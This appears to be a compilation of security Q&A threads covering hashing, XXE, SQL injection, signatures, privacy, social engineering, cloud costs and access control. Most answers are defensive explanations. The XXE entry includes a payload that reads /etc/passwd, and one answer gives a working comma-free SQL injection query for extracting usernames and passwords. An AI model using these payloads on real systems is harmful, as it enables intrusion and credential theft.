big O for finding hash of length n O(2^n) or O(2^(n-1))? note The wikipedia article does not use the big O notation correctly. Thus  O(2n) just means 2n attempts

I read on wikipedia (CGA) that finding a collision preimage for a cryptographich hash of length 59 bit it is approximately O(259) in big O notation. However in my eyes it is O(258) as on average we will find the same output after searching creating half the target namespace (namespace = range 0 up to 259).

I guess it is because of the approximately both statements would be correct? In an academic paper, what is preferrable to use?

So I assume we will on average need to create half of the (target) 59 bit namespace to find a preimage. Now if we would have crypto hash functions that would perfectly distribute the output (which we do not have) over the 59 bit space, we would only need (on average) 258 attempts to find a hash (as 258 distinct inputs would yield 258 distinct outputs, assuming perfect distribution). As stated in the answer we do not have perfect hash functions, thus distinct inputs will give same outputs, thus on average attempt is closer to 259. Thats where the approximately comes from. Am I right?

First, you misread the page: this is not about collisions. The Wikipedia page says:

  the cost of finding a set of CGA Parameters that yield the desired 59 bits is approximately O(259)

The important word here is "desired". The attacker wants to find an input that hashes to a specific, given output. This is called a preimage attack. By contrast, a collision attack is about finding two distinct inputs that hash to the same value, without any constraint on that common output value; this is not at all the same thing (and collisions are in fact vastly easier, down to about 230 evaluations for a 59-bit output).

That being said, the average attack cost is indeed 259, not 258, because this is a hash function, not a block cipher. You speak of "searching half the namespace" but there is, in fact, no such thing as a "namespace" in that case.

When you try to brute-force a 59-bit key, there is a defined space of possible keys (all 59-bit sequences) of size 259, and you know that one of them is the solution, and you can try them all in due order, without ever trying twice the same. Under these conditions, you can expect to find the right one after, on average, trying half of the possible keys.

This is not so here. In the case of CGA, the problem is about finding an input (which is quite larger than 59 bits) such that the output is a specific target 59-bit sequence. As you try various possible inputs, you get the corresponding outputs, but (that's the critical point) these outputs are (from your point of view) random (as in "random oracle"), and, in particular, you may get the same one several times. In fact, it is expected that you will get your first duplicate after trying about 230 inputs or so (that's the so-called birthday paradox), and, as you accumulate such random outputs, you will get more and more collisions. If you try 259 distinct inputs, and hash them all, then you will not get all 259 possible outputs, but substantially fewer (about 63% of them).

In other words, when you do the brute force attack on the hash function, some of your effort is wasted, because it yields 59-bit outputs that you already had with another possible input. This lowers the success rate, and thus increases the overall attack cost.

Assuming the hash function behaves like a random oracle (i.e. no known structural weakness), then the probability of finding the right 59-bit output every time you try some new input is exactly 2-59, and, by definition, this means that you have to try on average 259 times before finding a match. This is an average: you may get lucky and find a match earlier; you may also get unlucky and find a match later, with no upper limit. This (again) contrasts with the "search the key for a block cipher" situation, where you know that the attack will work after trying, at most, all possible keys; in the preimage attack for a hash function, you do not even get such a guarantee, only an average.


HTTP Basic Auth question I am using HTTP Basic Auth to authenticate the user.
Once authenticated, I set req.session.loggedIn = true on the server-side.
If a user makes requests after being logged in, for security purposes, should I just check the session loggedIn value or send the basic auth header on each request and then verify credentials on each request on my backend?

As mti2935 mentions, the Basic Auth header is automatically sent by the browser with every request. That means setting a session cookie is redundant.
However, usage of HTTP Basic Auth should be discouraged, as is discussed in this answer.


Preventing XXE Injection I've stumbled upon an exploit method which I haven't really had time to investigate before. XML eXternal Entity is said to be susceptible of a server-side type of injection. I can specify a Document Type Declaration (DOCTYPE) to define the structure of XML. Inside the DOCTYPE I can define entities and assign particular values to them. Then I can use the entities in the XML code and the parser will replace them with their values.

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE doc[
  <!ENTITY pwd SYSTEM "file:///etc/passwd">
]>
<query>
  <name>Kiuhnm</name>
  <profession>&pwd;</profession>
</query>

So in which case I can read arbitrary files. My question is: is it possible to forge an XML-based patch or I should do this on server-level and disallow reading of files from the outside?

Depending on your library you should be able to configure your parser to ignore entities.


What are some Linux commands for genrating and verifying digital signatures? I am attempting a workflow to exemplify the process of digital signature using asymmetric cryptography.

If I understand correctly then the public key and the private key in an asymmetric cryptographic key pair are inverse functions. Ergo, if the private key is the function F, then the public key is G=F^(-1), and F(G(x))=x.

If I understand correctly then a digitally signed email consists of: a) a plaintext message, let's call it M; b) some cyphertext, let's call it C.

Lets suppose that H is a publicly known hash function, such as sha1.

When sending a digitally signed email I would first hash the original plaintext message: H(M)=M'. Then I would scramble-up the hash value using my private key: F(M')=C.

Now when I send the email I include both M and C. If the integrity of the digitally signed email has not been compromised, then the recipient will find that G(C) = H(M).

My question is not regarding the underlying theory, because I think I understand it well enough. (If what I described above is incorrect then please tell me.) Infact, my question is in regards to implementation and manual verification of the workflow. What programs\commands are available to implement each step that was described above?  I have satisfactorilly used the following command at the linux command line to invoke the sha1 hash function:

  echo -n "hello world" | sha1sum | awk '{print $1}'

I need a command to transform some text using the function that is my private key. And I need a command to transforms some text using the function that is my public key. I prefer something that enables me manually verify each step of the process.

EDIT
I know that a pre-built tool like gpg is a more practical way to do digital signatures in an actual use-case. My goal is to have an alternative workflow that generates the same results as gpg. It is important to be able to cross-validate the process. Furthermore, I would like to be able to teach some hypothetical underling about digital signatures, and to do this I want to be able to break-down the process into a series of well understood steps. And because the main purpose is to do cross-validation, and not to actually authenticate\non-repudiate some important communication, therefore the inherrent weaknesses of this approach does not concern me.

You're probably not going to be happy about this answer, but - as pointed out in the comments to your question - it's a bad idea of reinventing the wheel when there are already libraries and commands available for that purpose e.g. OpenSSL, GnuPG, etc.

The risks in rolling out your own crypto implementation are multiple:

Leaking plaintext
Code prone to any kind of attack e.g. buffer overflows
Bad performances caused by non-optimized code
Diminished security (as calculations rely on multiple Linux commands written by third parties)

If you really want to do this you should code in a low-level language like C and not use Linux commands, but still, it's a bad idea because of the points above. Writing code that works is difficult; writing crypto code that's strong and bug-free is extremely hard, and should be left to experts.


Is SSL + DNScrypt enough to hide visited domains from my ISP? I've been using VPN lately which I configured on Ubuntu machine in Germany, and I do not feel comfortable using it because of high latency. So I found DNScrypt. Since I only want to keep my browsing activity mine.

If I am visiting only SSL protected websites (these days sites that have SSL are rapidly increasing) and using DNScrypt (which protects my DNS lookups from being spoofed), is there any way my ISP can determine web addresses I am visiting?

DNSCrypt only protects the DNS lookup. The HTTPS connection is still made to the original target which thus reveals the target IP address to the ISP. And, if deep packet inspection is done the target hostname can also be extracted from the TLS handshake (SNI extension in ClientHello). This means the ISP can see which sites you visit but not the exact URL on this site. Although in case of well known public resources on the site traffic pattern might reveal too which of these resources you have accessed.


Received UDP packet with IP ID of zero: I am scanning a host in our network with Nexpose and one of the vulnerabilities reported is
Received UDP packet with IP ID of zero:

IPv4 SRC[10.0.0.5] TGT[127.0.0.1]
TOS[192] TTL[64] Flags[40] Proto[17] ID[0] FragOff[0]
HDR-LENGTH[20] TOTAL-LENGTH[76] CKSUM[45199]
UDP SRC-PORT[123] TGT-PORT[47454] CKSUM[35227]
RAW DATA [48]:
1A030AE800000C9E00001A9A6BAAE008 ...�...�...�k��.
DA15B7A195FE52CDC6F15EDB78000000 �.����R���^�x...
DA15BC9BBD4C60B5DA15BC9BBD511C4F �.���L`��.���Q.O

I don't see anything to resolve this. How can I resolve this and close it out? I don't see a great deal of information for mitigation on this and ironically, this is the only host that I've seen reporting this. It's not end of the world serious, but it would allow an attacker to fingerprint my host.

I don't think you can resolve that. This is a matter of how the TCP/IP stack is working in the Operating System.

Also have in mind that this allows the Operating System to avoid being used in Zombie attacks: How does nmap do a zombie and decoy scan?


New social engineering tactic that uses printer serial numbers? We have been getting a new kind of scammer-esque call every couple weeks here at the office (I work at an enterprise web application development company).
Basically, the flow of events is this:

Caller has spoofed their caller-ID to have an identical name as our company.
Seemingly friendly lady claims to be "Debbie from Accounting" or something similar.
This "Debbie" says she is trying to print something and just needs me to read off the printer serial number so she can connect.

This is obviously completely bogus for a bunch of reasons (one being we have like 8 employees here, none are named Debbie and we don't even have an Accounting department).
The name was different both times (this has happened twice now).
Anyway, my question is what exactly is this scammer trying to accomplish? Do they install malware remotely to printers?

As written in @Rob's comment, the scammer is trying to get the S/N of your printers (information gathering, the first step in a social engineering attack) so later on will place the real scam:

either call and pretend he's your legitimate printer supplier (after all, he knows the S/N of your printers) and persuade you to order cheap paper and toner supplies for an exorbitant price;
or just send the supplies to your office. The invoice will show the S/N so it will look like a legitimate placed order.

It is worth noting that if you need to print on a specific printer you'd need to know either its network name or its IP address; knowing its S/N won't tell you anything, so "Debbie"'s request is bogus.


How make SQL select query without comma? I am trying SQLi and comma was filtered there. How make SELECT SQL request without a comma?

Lets say you need to retrive USERNAME,PASSWORD columns form USERTABLE.

In this example The USERTABLE has data as shown below

mysql> SELECT * FROM USERTABLE;
+----------+------------+
| USERNAME | PASSWORD   |
+----------+------------+
| ALICE    | ALICEPASS  |
| BOB      | BOBPASS    |
| ALICE2   | ALICE2PASS |
| BOB2     | BOB2PASS   |
+----------+------------+
4 rows in set (0.00 sec)

Now the SQL with out a comma (,) to retrive both username and password can be like below

SELECT * FROM (SELECT USERNAME FROM USERTABLE WHERE USERNAME>"A" AND USERNAME<"B")UT1 JOIN (SELECT PASSWORD FROM USERTABLE WHERE USERNAME>"A" AND USERNAME<"B")UT2 ON  UT1.USERNAME=UT2.PASSWORD OR 1=1

The output is as follows

mysql> SELECT * FROM (SELECT USERNAME FROM USERTABLE WHERE USERNAME<"B")UT1 JOIN
 (SELECT PASSWORD FROM USERTABLE WHERE USERNAME<"B")UT2 ON  UT1.USERNAME=UT2.PAS
SWORD OR 1=1;
+----------+------------+
| USERNAME | PASSWORD   |
+----------+------------+
| ALICE    | ALICEPASS  |
| ALICE2   | ALICEPASS  |
| ALICE    | ALICE2PASS |
| ALICE2   | ALICE2PASS |
+----------+------------+
4 rows in set (0.00 sec)

You should carefully put the filters at FROM USERTABLE WHERE USERNAME<"B".
If you put something like FROM USERTABLE WHERE USERNAME<"Z" you will probably hang the SQL server due to large join.

Just to mention if you think the database is very huge then polish your filters like USERNAME>"AA" AND USERNAME<"AF" so that a small set of data is being operated and its quick. In next iteration you can use USERNAME>"AF" AND USERNAME<"AL"  and so on.

And observe you got the combinations CROSSJOIN of usernames and passwords.
You will get  N X N rows .And you may consider rows at multiples of N like N,2N,3N etc for valid combination of usernames and passwords atleast in case of Mysql.

For some other database software may be you will need to try all the combinations of USERNAME,PASSWORD you retrieved.


Recommended length for WPA-2 password in 2020 I'm auditing my network setup and trying to determine an appropriate password length with a random set of digits and numbers. I found a Security Stack exchange answer but it was written in 2012 and wanted to see if the recommendation has changed since then.

For a slow hash like WPA2, that 2012 advice ("12 random ASCII chars is good enough") still holds, including the accompanying entropy/keyspace analysis. From the real-world attacker perspective, I can tell you that such plains, hashed with WPA2, are beyond reach in most realistic threat models, due to the sheer number of combinations.
For UX (ease of typing, ease of telling a visitor, etc.), you might consider using a passphrase of equivalent entropy (or more intuitively, number of possible combinations) instead.


XSS possibility in user isolated app? By user isolated, I mean that users interact with server and have some personalized data and they can read, update, delete their data but they will never see another user made data (like facebook, stackexcahnge, email). An example for a user isolated app would be a note taking app, todo list app etc.
In this case should I worry about the XSS possibility? Should I check the inputs and sanitize them for every request?

In this case should I worry about the XSS possibility? Should I check the inputs and sanitize them for every request?

Yes, you should worry about this foundational piece of security. Even if you can't currently envision an attack vector today, as your software evolves, you are leaving landmines in your wake that you will quickly forget about. It will become impossible to confidently build on this foundation.
We are constantly shocked by new and novel attacks, and they almost always involve chaining together multiple seemingly minor exploits in a novel and disastrous way. Don't knowingly give attacker an XSS exploit for free, you have no idea how that will combine in unexpected ways with other exploits you don't know about.
While the following is somewhat subjective, I'm an application developer of some 20 years and have been deeply interested in security for most of that time. I would say that the almost inevitable outcome is of this type of thinking is:

We ignored security when writing "feature X" because it was not exploitable when we built it, but changing product requirements exposed vulnerabilities in a way we didn't foresee... And now we're in trouble.

This mindset leads to some of the worst exploits; when you make a conscious decision to ignore security, and then something changes and suddenly it matters, the types of vulnerabilities you wind up exposing are catastrophic and so foundational that it can be easier to start over.
It's also much harder to find all vulnerabilities in a large sprawling application that was started in such an incorrect way, when you eventually do realize it's important. Especially if you have multiple developers, each one may make some haphazard attempt to secure the next thing they add, often in conflicting or overlapping ways that ultimately pile up as technical debt. Don't leave it to chance, and don't require each subsequent developer to "solve" security, set the tone of the project from day one.
I will also say that, if you do this professionally, you should have some pride in your craft. Learn to build software correctly always, not just went you think it's important. Building software correctly includes building software that is secure by default, not just when you remember to add security. Experience you gain building it correctly now makes you better prepared to build it correctly when you do decide it matters.
Finally, it should be no extra effort to just build it correctly from the outset. Use a sensible framework as intended and most types of vulnerabilities are already handled for you. You shouldn't have to write your own code for preventing XSS or SQL injection, I haven't had to do this in more than a decade. Every major framework has solved these problems better than you or I can. I've built the sandboxed note-taking app you're describing. I'm the only user, but I can tell you it has no vulnerabilities in it (famous last words) because I wrote it in Rails and Vue, mature technologies that handle most types of mitigation. I used these technologies not because I wanted security but because I wanted a rich feature set and mature ecosystem. Security came free.


OpenVPN Traffic Capture Forgive me if this is not the appropriate place to ask this.

I was capturing some traffic on my home server during an active OpenVPN session using Mullvad recently and I noticed that the traffic is predominantly UDP which would make sense per the .conf file:

client
dev tun
proto udp

However I noticed that there was some traffic using TCP and TLSv1.2 to an IP address that I do not recognize.

Here is a screenshot of the partial capture showing the TCP traffic:

Here is a screenshot of the partial capture without the TCP filter:

However the strange part to me was that I was seeing this same traffic (ie. TCP and TLSv1.2) to the same address after I had closed the OpenVPN service.

Here is a screenshot of the 'unencrypted' traffic:

I'm sure that there is some fundamental idea here that I am simply missing... If I need to do more research I would love a shove in the right direction.

Also, for what it is worth I did have at least a couple of other services running during these captures, namely Transmission, Plex, and obviously SSH.

Cheers,

45.79.198.112 seems to be used by some apps for checking connectivity.  I think your OS is doing the same.

Basically the underlying OS still need to know that it is connected to the Internet and able to route your VPN packets. in order to to do so it connects to certain servers and fetches a file. If successful then then you will see the network icon in the status bar showing "connected" .


I ran the code through your links, and they are all unable to translate the encoded text like &#39 and %3C.

Decode those parts first, then look for any left over encoded text (there is some) run the result through a deobfuscator, taking care of line breaks.

The first part is the code to decrypt the dF() text.

To help the deobfuscators, try running the decoded code through a "beautifier". It can resolve any remaining line break and other syntax issues. And if you haven't already, remove the <script code etc. so that the javascript deobfuscators are only dealing with the javascript and not the PHP code.

I have been successful in decoding it and recovering the URL using the steps above.


Risks with Amazon S3 and costs I have little security knowledge and looking at image hosting for a startup:

Considering S3 doesn't allow you to set a cap on costs, how likely is it that someone could flood S3 with requests for my files and run up a considerable amount of money?

Say I have a 2MB document, is it possible for someone to send millions of requests to that get file?

From what I understand the costs for an end user requesting a file is:

  Request Pricing:

  GET and all other Requests †  $0.01 per 10,000 requests

  Data Transfer Pricing:

  Up to 10 TB / month   $0.120 per GB

Does that pricing mean this is a non-issue?

Does Amazon S3 have security measures in place to stop something like that happening?

Figure out the cost level where you start getting uncomfortable.

Calculate the GB that would need to be transferred to reach that cost level.

See if you think an attacker will be willing to spend that much effort to hurt you for that amount of money.

Every time I run this calculation I end up thinking that if somebody hated me that much, they could certainly find an easier way to hurt me.

For example, a million downloads of your 2MB document is going to cost you about $240 in data transfer charges plus $1 in request charges.  To create this cost to you, the attacker is going to have to download 2,000 GB (2TB).  That's weeks of completely filling up a 10Mbps line.  Just for a measly $240 impact.

Amazon generally doesn't discuss publicly all of the security measures they have in place to stop DOS, DDOS, and other attacks against their customers.  In one whitepaper, Amazon says: "Proprietary DDoS mitigation techniques are used."  Of course, it's not always easy to differentiate between a DDOS and a popular resource :-)

You can read more about Amazon Web Services security on their site:

  http://aws.amazon.com/security/


What might be the legal and policy consequences of traffic sniffing? I found a security hole in an organisation in the UK with many employees. Login form sends user name and password in clear text to the public facing IP via HTTP. Initially I pointed this to IT but they didn't understand and asked for screenshot. I used a sniffer to show my user name and password, on our guest WiFi network which does not have access to the internal network.  I didn't use ARP poisoning.

The IT responded to my request saying that they are aware of that and will not fix the problem in the nearest time. IT also reported me to the Head of Security due to the fact I used sniffer.

Q: What shall I do? What are the consequences of using a sniffer within an organisation in the UK?

Lesson learnt
Talk to boss rather than reporting it directly to IT.

I'll start with the usual statements that I am not a lawyer and this is not legal advice :)

That said as far as I'm aware use of a Network sniffer, in and of itself, isn't illegal in the UK (a large number of IT professionals would be in deep trouble if it were!).

If there is relevant legislation i'd think it'd be the Computer Misuse Act, the Regulation of Investigatory Powers Act and/or the Data Protection Act.

If you've intercepted and viewed traffic belonging to other people, that could be a problem, but if you installed it on your own PC and the target network is running a standard switched environment, then I wouldn't have thought it likely that you'd have had access to other users traffic, so effectively all you've done is view your own information.

The company could be considered to be in breach of the Data Protection Act, if they're sending personally identifiable data over an untrusted network (eg, the Internet) without appropriate protection (eg, SSL)

However unless you were authorised, you could be in breach of the IT Policy of the company, which you may have been given and asked to sign when you joined (I'm assuming here that you're an employee of the company) if you used unauthorised software within their network

as @Iszi said if you're concerned that they may actually charge you, I'd thoroughly recommend speaking to a lawyer.


Does SELinux substitute or complement DAC? The basic premise of SELinux seems to control which activities system allows each user, process and daemon, everything beyond the allowed set is block as a default.

Does it mean SELinux effectively overrides conventional DAC or does DAC still play a first role?

SELinux complements DAC, It is an enhancement to DAC. An optional add-on to DAC. Its a patch to DAC with the aim to address various modern day challenges. DAC is old and needed an overhaul. In practice SELinux sits below DAC. So first DAC is enforced and after that SELinux is enforced. Which means that SELinux eventually takes precedence. SELinux does override DAC depending how you look at it. You can use SELinux to prevent access that would otherwise be allowed by DAC but you cannot use SELinux to allow access that would otherwise be prevented by DAC


What are the resources that an auditor would need to access in read mode? Here a more concrete question:

I am interested in documentation for an External Security Audit for ERP applications.

What are the types of External Security Audit for ERP applications?
What types of resources should be provided in read access only for External Auditors examining ERP applications?

"Audit" is such a broad category that this question is not answerable in its current form.  If you're about to undergo a PCI-DSS audit, there are checklists to go by: https://www.pcisecuritystandards.org/security_standards/documents.php.  If you're accrediting a system for the US DoD, you'll need the DIACAP documentation.  If you're doing an internal audit, local IT management will decide.


What's the safest way to inform a new user of their password on an invite-only website? I'm developing a web site where people will have accounts. However, unlike most web sites, user do not register, rather they are invited by the site admins. The site admins will create a new user profile, based on their email address, and then want the site to email them telling them that their profile is ready for use.

However, I'm not sure of the safest way to let people know of their password. In a normal registration, the user enters their password of choice, which is hashed and stored. All that remains is to send them a link to verify their email address.

In our case, they don't register, so don't supply a password. Whats the safest way to proceed?

This answer suggests sending them a link to a page where they can see their password, but I'm not sure if that has any benefits over sending them to a page where they can enter their own password. Actually, I think the latter suggestion is better, as if the password has already been set, the web page can inform them that the password has been set, and if this wasn't them, to contact the admins immediately.

What would be the best way to inform a new user of their password, security-wise?

The best practice in this instance is to send them a link to a page where they can set their own password.

You should ensure that after they have used this link to register, that the link cannot be used for account takeover. One way of achieving this is including a time limited, single use token in the URL.


Basic simple encryption with already installed tools If you are exchanged email messages with people using Linux, Windows and some odd Mac and want to implement some really basic security, encrypting all messages, just trying to avoid some non-sophisticated attacker. Is there a tool already installed on these systems by default? Alternatively, a compatible procedure that won't require users to install additional software or understand fancy concepts will also do the trick. It doesn't have to be the same tool exactly, just compatible. Like being able to open a .doc file with MS Word and Open Office.

In short: no, there's nothing that's guaranteed to be installed on those operating systems.

PGP is probably your best bet. It operates on the OpenPGP standard, which any software is free to implement. There are compatible clients for Windows, Linux, BSD, and OS X, and it also nicely integrates with most mail applications (e.g. Thunderbird / Outlook). Many of these applications and plugins are free or open-source, though some are commercial. However, it's not quite as simple as just setting a password; PGP operates on the idea of each user having a key that identifies them, and encryption involves using the target user's public key to secure the data. As such you need to be able to pre-share the public keys (e.g. via a key server, or just by sending it as base64-encoded text) in order to perform encryption.

One alternative is an archive format that supports inbuilt encryption, but finding compatible software across all operating systems is going to be a pain. 7zip might be a good choice, but I can't say I've got any experience with it on OS X. Other formats like PKZIP (.zip) and RAR tend to have discrepancies in the way that encryption is done, not only across operating systems but even between tools.


Is it possible to fake ECDSA signatures? Recently, I came across a reddit post claiming it was easy to mutate bitcoin signatures to generate message/signature pairs.

https://www.reddit.com/r/btc/comments/9xpivk/satoshi_i_do_not_want_to_be_public_but_there_is/e9u4m50

There's even POC gist

https://gist.github.com/chjj/4fe8f5b2b489e89e6ed4

I'm just a regular software dev, and I leave the complex stuff to those that are smarter than me, but I need to know what I can be confident of.

Assuming I'm dealing with regular keys that have public blockchain transactions, and many (100's?  1000s?) available signatures of fairly similar data:

1) Is it possible to generate a new message from a signed message.  For example, if I have a message "I will pay $12.50", could that be mutated to "I will pay $1250"?  The posts in the link claim it is not possible to sign arbitrary data, but if that is true I don't understand how it would be possible to sign the message being discussed.

2) Are there any traits that would consistently identify a forged sig as illegitimate?  The comments suggest a modulo of 0 is necessary, is it reasonable to expect any self-respecting crypto library to check for this?

3) Do I need to learn the math behind cryptography to use it effectively?  There are many fields where knowing how to use something is sufficient, knowing how it works is nice but not necessary (I've been using Quaternions for a decade quite effectively without the slightest inclination to learn their actual math).

4) If (1 & 2) Is the length & complexity of a message related to ease of forging?  Ie, is the message "$12.50" easier to change into "$9950" than "I promise to pay $12.50" into "You will receive from me $9950".  Is there a weakness in signing many short (but unique) messages from a security standpoint?  If length is longer, but entropy the same, does that change anything (ie, does adding in more characters add anything other than CPU time?)

If the answer to 3 is yes, please include an example of where not knowing the implementation details could cause critical mistakes.

The comments in that reddit thread actually explain it fairly well.

In a way you could say that it is possible to 'fake ECDSA signatures', but it does not tell the whole story.

You have three things: the message, the hash of the message, and the signature on that hash. The tweet that reddit post talked about posted a signature on a hash, but did not reveal the original message. This is trivial to do, as given a hash and a valid signature, you can adjust both the hash and the signature to produce new 'valid' pairs. But at this point, that hash does not correspond to any sensible message. Even if the forger could brute-force a message to correspond to the hash (if the hashing scheme is secure, they can't as far as we know), it is exceedingly unlikely to be sensible text. So to answer your questions:

No this is not possible, if it were, the signature would be entirely broken and useless.
A crypto library cannot check for this, given just a hash and a signature and a key, you can verify that the signature is valid for that key and hash, but you also need to check if the hash is actually a valid hash of a piece of text that is being signed.
Yes you need to know the math behind cryptography to use it effectively. Cryptography is really hard, even for cryptographers who know the math. Valid schemes and implementations of those schemes (i.e. software) are only produced by long-term exposure to real-world use and expert testing/research. The famous motto in this field is "Do not roll your own crypto". Seriously, you can mess around with cryptographic libraries, but do not ever use it for something other than learning/as a hobby.

A famous example is text-book RSA. If you were to implement RSA as you read about it in any cryptography textbook, your scheme would be seriously vulnerable. One reason is that it is a deterministic scheme, i.e. the same message always encrypts to the same ciphertext, you can probably figure out why that is a bad thing. To make RSA safe, you also need a padding scheme.

There is no issue with producing many signatures on many small or long messages.


Protect credit card from spying eyes Two properly placed $200 HD cameras are able to make close pictures of both sides of a credit card used while shopping. When you insert the card to the card reader, both sides get exposed, including the credit card number, name, expiry, CVC. That's far enough to get your money stolen.

I think this is a pretty big risk most of people are not aware of. Is there any way to cover the sensitive data, at least the CVC without having to worry about a sticker being peeled off and stuck in an ATM for example? Or cover the card with a translucent layer? Has anyone done something like this?

Is there any way to cover the sensitive data, at least the CVC without
  having to worry about a sticker being peeled off and stuck in an ATM
  for example?

Paranoid people remove the CVC* from the card using ablation ("they scrape it off").  There is no need for the CVC to actually be on the card, provided you write it down somewhere safe and/or remember it.

For all other values, the standard protections are to cup the card in your hand as much as possible and be alert for suspicious environmental cues, such as a new fascia on the ATM.  There's no golden fix.

As @RápliAndrás points out in the comment, the CVC can still be brute-forced.  If this interests you, there's a fascinating paper called Does The Online Card Payment Landscape Unwittingly Facilitate Fraud that you must read.  Specifically, it shows that the vulnerability to guessing operations varies from site to site, and that overall there is no systemic limit to prevent multiple sites from being used together to optimize the guessing.  And not only do the card brands not have systemic limits to block CVC guessing, but many card transactions do not require the CVC to complete in any case.

But in general, people scraping the CVC are defending against a low-level physical access attack.  They are making it so that the waiter that takes their card into the back room can't jot down their PAN (card number) and CVC.  They are not defending against the case of an attacker who wishes to brute force card parameters given the PAN.

Remember that credit cards are not designed for security - they are designed for commerce.  The entire credit card industry has a tolerance for acceptable levels of risk, which is to say, if a single-digit percent of transactions are fraudulent, then that's considered the cost of doing business.  Small tweaks - such as the CVC and EMV - have been made to improve the statistics, but not to eradicate risk.

*Card Verificaton Code or Value is also known as CVC, CVV, CSC, CID, CAV, or "That number on the back of your card."


How to host application monitoring and administration dashboards? I'm in the middle of completing a web app for production. This is my first one. I'm at the point where I have to put together an administrator dashboard for comprehensive monitoring and administration of the same. Now, I'm aware that there are third party tools that can make a lot of things easier but some management functionality and information is app specific, and my admin dashboard aims to cover those.

Since I have only vague ideas about how to develop and where to hide such a dashboard, I'm wondering how large sites — Twitter, Instagram — do it. I have a hunch that they hide their admin dashboards from the public inside either a Virtual Private Network or a Virtual Private Cloud with private IP addresses.

Is this assumption correct?
If so, how is the source code for the admin site handled in relation to the source code for the web app itself — is the source code for the two sites handled separately or together, and does it get special treatment?

Another approach I'm familiar with is hosting the admin dashboard and the web app together at the same domain. Something like admin.mydomain.com or mydomain.com/admin This is however undesirable to me, as it'll require robots.txt entries that pinpoint exactly where the admin site can be found. I'd like the location of the admin site to not be known at all.

So what other options are available that I'm unaware of?

UPDATE: That I want to hide the admin site does not mean that I intend to be lax with auth. Strong passwords and MFA will be required on the admin site, whether it's hidden or not.

Congrats on finishing an application.

Suggestions:

Hiding vs. Securing
Don't rely on hiding the dashboard.  Instead rely on controlling access with roles and an IP address whitelist.

Role Based Access Control
What happens often is that an administrative page is blocked by access control, but the URL that the page submits to is not blocked, so administrative commands can be made by those who are not admins if they know the back-end URL. A centralized, role-based access control framework in your application is best for this and most web application frameworks have one.  It is easier to configure all this if the admin pages are in a different domain or in a directory like mydomain.com/admin.

Separation of concerns:
Anything that is not the primary purpose of your new application will be better handled by a tool made for that purpose.  For example, "monitoring" sounds like something a centralized log management software is better for.  Maybe your organization already has one of these.

Restrict to Internal Network
Yes, your assumption is correct.  You can bet that large websites don't make their admin dashboards reachable by those not on an internal network. You mentioned VPN.  If possible, make admin dashboards only available on the internal network.


Kerberos for sending secrets I understand that Kerberos is used as an authentication protocol. However, would it be possible to achieve a similar effect as Diffie-Hellman with Kerberos i.e. establish a session key which can be used for further encryption of data to be transmitted, once authentication has been performed?

Yes, with some caveats. As a prior answer described, Kerberos authentication also shares a session key between the client and server principals, which they can use for further communication. Another prior answer claimed that “Kerberos is not an encryption protocol,” but this is not true: the protocol includes messages specifically for sending arbitrary data protected by the session key negotiated during authentication (KRB_SAFE and KRB_PRIV). The most common way to take advantage of this is via GSSAPI (which is the most common way to use Kerberos at all, rather than via a Kerberos-specific API like that of MIT Kerberos or Heimdal). After creating a GSSAPI security context, the peers can use the routines gss_wrap() and gss_unwrap() to seal data for transmission, either with just integrity checking, or integrity and confidentiality (encryption). Probably the most common example of this actually being used is via SASL, when the client requests installation of a “security layer” after authentication with the GSSAPI/Kerberos mechanism.

Keep in mind, though, that unlike Diffie-Hellman you don’t have forward secrecy here. In the simplest case the KDC generates the session key, so it was always known to a party other than the communicating peers. The key may actually be a “subkey” generated by one of the peers, which is better, but still it’s generated by one side only, making it vulnerable to one-sided Trojan or Byzantine attacks, whereas Diffie-Hellman limits either side’s ability to control the final shared key. And in either case the session key is ultimately secured on the wire by the long-term key of the server, which is typically in a keytab file on the server as well as in the KDC, and prior recorded communications will be compromised if that is later revealed.


How is intercepting my own HTTPS traffic possible? I have a slight misunderstanding in the way TLS works. I know that I can use Burpsuite Proxy to intercept HTTPS traffic coming from my browser. How is this possible when the server is going to see the proxy as the browser, therefore any handshake and cryptography stuff will happen there right and my browser will just be receiving and sending traffic with no knowledge of this?

I guess the more definitive question I'm asking is, how does using Burpsuite without a self-signed certificate break the TLS connection and how does the self certificate fix this?

Say you want to access SomeService's homepage through an HTTPS proxy. You start by making a connection between you and your proxy. Then your proxy makes a connection between itself and SomeService. Your proxy is the man in the middle, but that's okay because you are aware of this and you want this.

Your proxy will have no trouble communicating with SomeService (it's just a regular HTTPS connection with no MitM), but your browser will have trouble communicating with the proxy. That's because you typed in "https://www.SomeService.com" in your browser, and instead getting an answer from SomeService, you got an answer from your proxy.

Your browser knows something is wrong, because it expected a certificate signed by someone it trusts that was given to SomeService, but instead it got a certificate signed by Burpsuite (which isn't trusted by default) saying "this is totally SomeService.com". Your browser will then show you an error, saying it has no idea who signed this certificate and that you're probably being spied on.

The solution is to install a root certificate from Burpsuite. When you install it, you're saying that you trust any certificate signed by Burpsuite, which allows it to intercept your traffic without raising any alarms.


PGP keys and security contact pages I have heard security researchers suggest that if you run a public website, you should put up a "security contact" page that includes a contact email address and your PGP public key so that people can contact you if they discover any security vulnerabilities.
One example of this is http://37signals.com/security-response.

1) What is the intended purpose of including your PGP key on this page?

2) How can you be sure that someone didn't compromise the server and put up their own PGP key?

Answering Question 1:

I'm not sure what the connection to Ruby on Rails is, but your PGP Public Key provides your users (presuming they also use PGP) with two things:

A means of verifying e-mails they receive from you, which include your PGP signature.
A means of sending e-mails to you, using PGP encryption.

However, both of the above do not offer much assurance unless the end-users can verify that the PGP Public Key posted on your site is actually yours.

  Tangentially related:  Does hashing a file from an unsigned website give a false sense of security?

Certainly, the users could use that Public Key for either of the purposes mentioned above.  However, without authentication of the key itself, they cannot know for sure that received e-mails are being sent by you or that the e-mails they send aren't being actually decrypted and read by someone else.

Answering Question 2:

This can be done by one or a combination of two means:

Implement SSL on the site that hosts your PGP Public Key.

(Not quite valid for your attack scenario - see comments.)

Get your key signed by other PGP users (Note, that's users - plural - more is better.), so that it joins and can be verified with a Web of Trust.


Can someone hack my Facebook if i give them my browser for a while? As anyone can see network data using browser developer tool, can someone get access to my cookies  or API keys by just turning on the developer tool in Chrome or Firefox?

For example, imagine a webapp that sends api key in header with
    each    request. Could someone see this key by just turning on
    "inspect" in Chrome?

Likewise, if i have an active Facebook session and I gave my system    to someone for browsing, could they check for cookies or api keys by just using "inspect" in Chrome?

Is there any way to avoid this?

Once someone has access to your computer then can get absolutely everything you have access to. If this was not possible, then you would not be able to do those things either.

The way to avoid this is to not give someone access to your computer or your logged in session on the computer. Log out and have them log into another user.


